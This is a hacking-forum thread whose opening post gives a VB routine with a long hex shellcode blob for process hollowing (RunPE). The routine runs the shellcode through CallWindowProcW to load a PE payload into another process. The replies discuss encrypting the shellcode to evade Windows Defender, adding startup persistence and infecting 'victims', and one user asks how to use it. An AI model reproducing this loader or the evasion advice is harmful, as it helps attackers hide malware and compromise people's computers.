

Forum:[Hack Forums](#)

Thread: [Runpe Process hollowing shellcode](#)

TR/Dropper.Gen5 - January 16, 2025, 10:46 am

Use x32 bit process with x32 bit pe The size of the process must be greater than or equal to the size of the PE file to ensure correct loading and execution

Code Private Declare Function CallWindowProcW Lib "user32" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Sub memory(ByVal proc As String, pe() As Byte)

Dim ShellCode As String

ShellCode =

"558BEC83E4F881ECFC03000064A1300000005356578B400C33DB8B400C8B008BC88944241C894C24108B5118895424148B423C8B4C10788D0411894424243BC274758B781885FF746E8B40208D04B803C283E8044F894424208B30B8B1033BDB03F2894424288A06468844240F84C0743E8B5424288AD80FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954242833DB817C24286897F2FA8B5424140F84030A00008B44242085FF759A8B4424108B008BC8894C24103B44241C74093959180F8557FFFFFFF8BC36A448D8C24C400000051FFD064A1300000008B400C8B400C8B008BC88944241C894C24108B5118895424148B423C8B4C10788D0411894424243BC274758B781885FF746E8B40208D04B803C283E8044F894424208B30B89104475A03F2894424288A06468844240F84C0743E8B5424288AD80FBEC"

ShellCode = ShellCode &

"B80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954242833DB817C2428C8037B798B5424140F84500900008B44242085FF759A8B4424108B008BC8894424103B44241C74093959180F8557FFFFFFF8BC36A108D8C248400000051FFD064A1300000008B400C8B400C8B008BC88944241C894C24108B5118895424148B423C8B4C10788D0411894424243BC274758B781885FF746E8B40208D04B803C283E8044F894424208B30B81276424F03F2894424288A06468844240F84C0743E8B5424288AD80FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954242833DB817C2428643320278B5424140F849D0800008B44242085FF759A8B4424108B008BC8894424103B44241C74093959180F8557FFFFFFF8BC38D8C248000000518D8C24C40000005153536A04535353FF750853FFD08B8C"

ShellCode = ShellCode &

"248000000085C90F84F10F0000E8011300008B4D0C894424608D84240801000050E8E8150000598BF08DBC24900000006A0C59F3A58B4D0C8B413CC64424306F03C1C644243175C644243265C64424336DC64424346D89442428885C24358A4424308BC3FE4C04304083F80572F664A130000008B400C8B400C8B008BC88944241C894C24108B5118895424148B423C8B4C10788D0411894424243BC274758B781885FF746E8B40208D04B803C283E804B9542051DA4F894C2418894424208B3003F28A0E46884C240F84C974428B5424188AD90FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241833DB817C24185D43B7E58B5424140F84690700008B44242085FF759A8B4424108B008BC8894424103B44241C74093959180F8557FFFFFFF8BC38D4C243051FFD0C644246B5AC644246C80C644246D61C64"

ShellCode = ShellCode &

"4246E7AC644246F79C64424706DC64424717CC644247262C644247375C644247471C644247583C64424765BC644247772C64424785FC644247971C644247A6FC644247B80C644247C75C644247D7BC644247E7A89442444885C247F8A44246B8BC3806C046B0C4083F81472F564A1300000008B400C8B400C8B008BC88944241C894C24108B5118895424148B423C8B4C10788D0411894424243BC274758B781885FF746E8B40208D04B803C283E804B9F50C60C74F894C2418894424208B3003F28A0E46884C240F84C974428B5424188AD90FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241833DB817C24187555A1EC8B5424140F843E060008B44242085FF759A8B4424108B008BC8894424103B44241C74093959180F8557FFFFFFF8BC38D4C246B51FF742448FFD08B542460FF7208FFB42484000000"

ShellCode = ShellCode &

"FFD085C00F85630D000064A1300000008B400C8B400C8B008BC889442420894C24108B5118895424448B423C8B4C10788D04118944241C3BC274758B781885FF746E8B40208D04B803C283E804B9392387254F894C2418894424148B3003F28A0E46884C240F84C974428B5424188AD90FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241833DB817C241890C683B48B5424440F84740500008B44241485FF759A8B4424108B008BC8894424103B44242074093959180F8557FFFFFFF8BC38B7424288B7C24606A406800300000FF7650FF7708FFB42490000000FFD085C00F847A0C00008B47088BC82B4E3489463464A130000000894C24148B400C8B400C8B008BC88944241C894C24108B5118895424448B423C8B4C10788D0411894424243BC274758B781885FF746E8B40208D04B803C283E804B9C6726"

ShellCode = ShellCode &

"96B4F894C2418894424208B3003F28A0E46884C240F84C974428B5424188AD90FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241833DB817C241889FDE96A8B5424440F84980400008B44242085FF759A8B4424108B008BC8894424103B44241C74093959180F8557FFFFFFF8BC38B4C24288B7C246053FF7154FF750CFF7708FFB42490000000FFD085C00F84850B00008B8C24A40000008BD38954241C85C90F84350100008B8424A800000083C00C894424108B70088974245085F60F84040100008B4F08030864A130000000894C242C8B400C8B400C8B008BC889442448894C24248B5118895424448B423C8B4C10788D04118944244C3BC274758B781885FF746E8B40208D04B803C283E804B98D0E97F84F894C2418894424208B3003F28A0E46884C240F84C974428B5424188AD90FBECB80EB418BC1"

ShellCode = ShellCode &

"83C82080FB198A1E0F47C133C269D0930100014684DB75E08954241833DB817C2418F26038798B5424440F84930300008B44242085FF759A8B4424248B008BC8894424243B44244874093959180F8557FFFFFFF8BCB8B44241053FF70048B44245803450C50FF742438FFB42490000000FFD185C00F84620A00008B8C24A40000008B4424108B54241C8B7C24604283C0288954241C894424103BD10F82D9FEFFFF837C2414000F84FC050000895C241885C90F84F00500008B8424A80000089442420C744243859000008BD38B442438342E8844243C8B442438FEC034728844243D8B442438040234658844243E8B4424380403346C8844243F8B4424380404346F884424408B4424380405885C24423463884424418A44243C8A44143C8B4C243802CA32C8884C143C4283FA0672EA885C244264A1300000008B400C8B400C8B008BC88944244"

ShellCode = ShellCode &

"C894C241C8B51188954242C8B423C8B44107803C2894424483BC274798B781885FF74728B40208D04B803C283E804B9C86F68314F894C2410894424508B3003F28A0E46884C240F84C974428B5424108AD90FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241033DB817C24101628EEDF8B54242C0F840D0200008B44245085FF759A8B4C241C8B018BC88944241C3B44244C74093959180F8558FFFFFFF895C242464A1300000008B400C8B400C8B008BC88944244C894C241C8B51188954242C8B423C8B44107803C2894424483BC274798B781885FF74728B40208D04B803C283E804B95B7168324F894C2410894424508B3003F28A0E46884C240F84C974428B5424108AD90FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241033DB817C24107CB4D5528B54242C0F"

ShellCode = ShellCode &

"846B0100008B44245085FF759A8B4C241C8B018BC88944241C3B44244C74093959180F8558FFFFFFF8BF38D44243C50FF5424288B7C242459508D4424405057FFD683C40C85C00F8442010008B74241883C72846897C2420897424183BB424A40000000F82C9FDFFFFE9A90300008B4424

248B481C8B402403CA03C20FB704788B048103C2E906F6FFFF8B4424248B481C8B402403CA03C20FB704788B048103C2E9B9F6FFFF8B4424248B481C8B402403CA03C20FB704788B048103C2E96CF7FFFF8B4424248B481C8B402403CA03C20FB704788B048103C2E9A0F8FFFF8B4424248B481C8B402403CA03C20FB704788B048103C2E9CBF9FFFF8B44241C8B481C8B402403CA03C20FB704788B048103C2E995FAFFFF8B4424248B481C8B402403CA03C20FB704788B048103C2E971FBFFFF8B44244C8B481C8B402403CA03C20FB704788B0C8103C"

ShellCode = ShellCode &

"AE976FCFFFF8B7424488B46248D04780FB70C108B461C8D04888B341003F289742424E9F8FDFFFF8B7424488B46248D04780FB70C108B461C8D04888B341003F2E99CFEFFFF6B4C2418288B8424A80000008B5424288B7C01148BCB8B82A00000008B92A4000000897C2430895424588944243885D20F84530200008D34398BD303750C83C10803F989742418037D0C897C24548B460483E80889542424D1E88944244485C00F84150200008D0C41894C24380FB70C57C744242C0010000663B4C242C0F82E601000064A13000000081E1FF0F0000030E895C2464894C241C8B400C8B400C8B008BC88944244C894C24208B51188954242C8B423C8B44107803C2894424483BC274798B701885F674728B40208D04B003C283E804B9EEBC33144E894C2410894424508B3803FA8A0F47884C240F84C974428B5424108AD90FBECB80EB418BC183C8"

ShellCode = ShellCode &

"2080FB198A1F0F47C133C269D0930100014784DB75E08954241033DB817C2410944A77D88B54242C0F84D00400008B44245085F6759A8B4C24208B018BC8894424203B44244C74093959180F8558FFFFFFF8BCB8B5424608D442464536A04508B42080344242850FFB42490000000FFD18B4424140144246464A1300000008B400C8B400C8B008BC88944244C894C24208B51188954242C8B423C8B44107803C2894424483BC274798B701885F674728B40208D04B003C283E804B967B4C31F4E894C2410894424508B3803FA8A0F47884C240F84C974428B5424108AD90FBECB80EB418BC183C82080FB198A1F0F47C133C269D0930100014784DB75E08954241033DB817C2410504D7C498B54242C0F84070400008B44245085F6759A8B4C24208B018BC8894424203B44244C74093959180F8558FFFFFFF8BCB536A048D44246C508B44246C8B400"

ShellCode = ShellCode &

"80344242850FFB42490000000FFD18B4424448B5424248B7424188B7C245442895424243BD00F82F6FDFFFF8B4C24388B7C24303B4C24580F82ADFDFFFF8B4424288B5424608B40280342088944242C64A1300000008B400C8B400C8B008BC889442438894C24148B5118895424308B423C8B44107803C2894424543BC274798B781885FF74728B40208D04B803C283E8044F894424588B30B88AAE806F03F2894424108A06468844240F84C0743E8B5424108AD80FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241033DB817C241075CB49328B5424300F84050300008B44245885FF759A8B4C24148B018BC8894424143B44243874093959180F8558FFFFFFF8BC368CC0200008D8C243C01000051FFD064A130000000C7842438010000020001008B400C8B400C8B008BC889442438894C24148B51188954"

ShellCode = ShellCode &

"24308B423C8B44107803C2894424543BC274798B781885FF74728B40208D04B803C283E8044F894424588B30B88E2F5FA03F2894424108A06468844240F84C0743E8B5424108AD80FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08954241033DB817C2410E9EF05FE8B5424300F84470200008B44245885FF759A8B4C24148B018BC8894424143B44243874093959180F8558FFFFFFF8BC38D8C243801000051FFB42488000000FFD085C00F846B0200008B44242C898424E801000064A1300000008B400C8B400C8B008BC889442438894C24148B5118895424308B423C8B44107803C2894424543BC274798B781885FF74728B40208D04B803C283E8044F894424588B30B8B7A9A49703F2894424108A06468844240F84C0743E8B5424108AD80FBECB80EB418BC183C82080FB198A1E0F47C133C269D09301000"

ShellCode = ShellCode &

"14684DB75E08954241033DB817C241050DCE4BF8B5424300F847F0100008B44245885FF759A8B4C24148B018BC8894424143B44243874093959180F8558FFFFFFF8BC38D8C243801000051FFB42488000000FFD085C00F848501000064A1300000008B400C8B400C8B008BC889442438894C24148B5118895424308B423C8B44107803C2894424543BC274798B781885FF74728B40208D04B803C283E8044F894424588B30B8ACBFBE9F03F2894424108A06468844240F84C0743E8B5424108AD80FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E089542"

41033DB817C24109FC5155A8B5424300F84C20000008B44245885FF759A8B4C24148B018BC88
94424143B4424380F84BD0000003959180F8554FFFFFFE9AF0000008B7C24488B47248D04700
FB70C108B471C8D04888B0C1003CAE937FBFFFFF8B7C24488B47"

ShellCode = ShellCode &

"248D04700FB70C108B471C8D04888B0C1003CAE900FCFFFFF8B7424548B46248D04780FB70C
108B461C8D04888B041003C2E902FDFFFFF8B7424548B46248D04780FB70C108B461C8D04888
B041003C2E9C0FDFFFFF8B7424548B46248D04780FB70C108B461C8D04888B041003C2E988F
FFFFFF8B7424548B46248D04780FB70C108B461C8D04888B1C1003DAFFB42484000000FFD385
C0750233C05F5E5B8BE55DC3558BEC83EC44C645DC7AC645DD80C645DE7053C645DF7833
DBC645E078885DE18A45DC56578BC3806C05DC0C4083F80572F5C745BC2D0000008B45BC3
44E8845C08B45BCFEC034748845C18B45BC040234518845C28B45BC040334758845C38B45BC
040434658845C48B45BC040534728845C58B45BC040634798845C68B45BC040734498845C78B
45BC0408346E8845C88B45BC040934668845C98B45BC040A346F8845CA8B45B"

ShellCode = ShellCode &

"C040B34728845CB8B45BC040C346D8845CC8B45BC040D34618845CD8B45BC040E34748845
CE8B45BC040F34698845CF8B45BC0410346F8845D08B45BC0411346E8845D18B45BC0412345
08845D28B45BC041334728845D38B45BC04148BD3346F8845D48B45BC041534638845D58B45
BC041634658845D68B45BC041734738845D78B45BC0418885DD934738845D88A45C08A4415C
08B4DBC02CA32C8884C15C04283FA1972EB885DD964A1300000008B400C8B400C8B008BC88
945E8894DF48B51188955F08B423C8B44107803C28945E43BC274708B781885FF74698B40208
D04B803C283E804B99AE821F94F894DF88945EC8B3003F28A0E46884DFF84C9743D8B55F88
AD90FBECB80EB418BC183C82080FB198A1E0F47C133C269D0930100014684DB75E08955F83
3DB817DF81C0A824D8B55F00F84E20000008B45EC85FF75A28B4DF48B018B"

ShellCode = ShellCode &

"C88945F43B45E874093959180F8565FFFFFFF8BC38D4DDC51FFD08945DC85C00F84F0000000
648B0D300000008B490C8B490C8B018BC88945EC894DF48B51188955E48B423C8B44107803C
28945F03BC2746C8B701885F674658B40208D04B003C283E804B9F06563BF4E894DF88945E88
B3803FA8A0F47884DFF84C974398B55F88AD90FBECB80EB418BC183C82080FB198A1F0F47C
133C269D0930100014784DB75E08955F833DB817DF83CBF84BB8B55E4743E8B45E885F675A6
8B4DF48B018BC88945F43B45EC74403959180F8569FFFFFFFEB358B75E48B46248D04780FB70
C108B461C8D04888B041003C2E922FFFFFFF8B7DF08B47248D04700FB70C108B471C8D04888
B1C1003DA8D45C050FF75DCFFD3EB0233C05F5E5BC9C3558BEC83EC4453568BD957895DD
CE8E1FCFFFFF6A06598BD08D7DBC33C02145F0F3AB8D45F0506A188D45BC506"

ShellCode = ShellCode &

"A0053FFD2837DC0000F84EC0000008D45D450E8EA00000064A1300000008B400C8B400C8B0
08BC88945E0894DF48B51188955EC8B423C8B5C107803DA895DE83BDA746D8B731885F6746
68B43208D04B003C283E804B9554C3E624E894DF88945E48B3803FA8A0F47884DFF84C9743A
8B55F88AD90FBECB80EB418BC183C82080FB198A1F0F47C133C269D0930100014784DB75E0
8B5DE88955F8817DF835805C718B55EC743D8B45E485F675A58B4DF48B018BC88945F43B45
E0740A837918000F8567FFFFFFF33C06A006868040000FF75D8FF75C0FF75DCFFD085C0741C8
B45D8EB198B43248D04700FB70C108B431C8D04888B041003C2EBCE33C05F5E5BC9C3558B
EC83EC2064A1300000005356578B400C8B400C8B008BC88945E4894DF48B51188955F08B423
C8B5C107803DA895DEC3BDA74718B731885F6746A8B43208D04B003C283E804"

ShellCode = ShellCode &

"B9F8DEA0284E894DF88945E88B3803FA8A0F47884DFF84C9743E8B55F88AD90FBECB80EB4
18BC183C82080FB198A1F0F47C133C269D0930100014784DB75E08B5DEC8955F8817DF8B8B
A87328B55F00F84000100008B45E885F675A18B4DF48B018BC88945F43B45E4740A837918000
F8563FFFFFFF33C068680400006A40FFD0648B0D300000008945E08B490C8B490C8B018BC889
45F0894DF48B51188955E48B423C8B5C107803DA895DE83BDA746D8B731885F674668B43208
D04B003C283E804B98BE0A0294E894DF88945EC8B3803FA8A0F47884DFF84C9743A8B55F88
AD90FBECB80EB418BC183C82080FB198A1F0F47C133C269D0930100014784DB75E08B5DE88
955F8817DF808F480FB8B55E4745C8B45EC85F675A58B4DF48B018BC88945F43B45F0740A83
7918000F8567FFFFFFF33C08B75E0BF68040000576A0056FFD08B450883C40"

```
ShellCode = ShellCode &
"C89385F8970045E5BC9C204008B43248D04700FB70C108B431C8D04888B041003C2E908FFF
FFF8B43248D04700FB70C108B431C8D04888B041003C2EBAF558BEC83EC2064A13000000053
56894DE033C98B400C578B400C8B008BD08945E48955F48B52188955F08B423C8B5C107803D
A895DEC3BDA746C8B731885F674658B43208D04B003C283E804B9703CEAFF4E894DF88945E
88B3803FA8A0F47884DFF84C9743A8B55F88AD90FBECB80EB418BC183C82080FB198A1F0F4
7C133C269D0930100014784DB75E08B5DEC8955F8817DF8EF6B4B718B55F074238B45E885F6
75A533C98B45F48B008BD08955F43B45E47420394A180F8566FFFFFFFEB158B43248D04700FB
70C108B431C8D04888B0C1003CA8B75086A3056FFD18B45E05F8B483C03C8894E0C0FB7490
6894E148B483C05F800000003C88BC6894E185E5BC9C3"
```

```
ReDim byteArray((Len(ShellCode) \ 2) - 1) As Byte
Dim i As Long, k As Long
```

```
For i = 1 To Len(ShellCode) Step 2
    byteArray(k) = CByte("&H" & Mid$(ShellCode, i, 2)): k = k + 1
Next i
```

```
CallWindowProcW VarPtr(byteArray(0)), StrPtr(proc), VarPtr(pe(0)), 0, 0
End Sub
```

7 - January 16, 2025, 11:09 am

Interesting thread. Coming back to this
Good going

latencyx - January 16, 2025, 12:29 pm

this is interesting, even more so in .vbs

TR/Dropper.Gen5 - January 16, 2025, 12:40 pm

(Jan 16, 2025 01:29 PM)latencyx Wrote: [\[CITE\]](#) this is interesting, even more so in .vbs
The most interesting is if you encrypt good the shellcode, you will bypass windows defender

Horus_Protector - January 16, 2025, 1:37 pm

EXE without digital signature certificate is fake encryption, otherwise VBS remains the best without certificate

TR/Dropper.Gen5 - January 16, 2025, 1:47 pm

(Jan 16, 2025 02:37 PM)Horus_Protector Wrote: [\[CITE\]](#) EXE without digital signature certificate is fake encryption, otherwise VBS remains the best without certificate
It is, you can still bypass Av's,

Horus_Protector - January 16, 2025, 1:50 pm

(Jan 16, 2025 02:47 PM)TR/Dropper.Gen5 Wrote: [\[CITE\]](#) It is, you can still bypass Av's,
yes, I use VBS, no problem + Startup + persistence, victim is FIX, Polymic encryption, victim is Windows Defender lol

fares.hack - January 25, 2025, 6:48 pm

how i can use can help me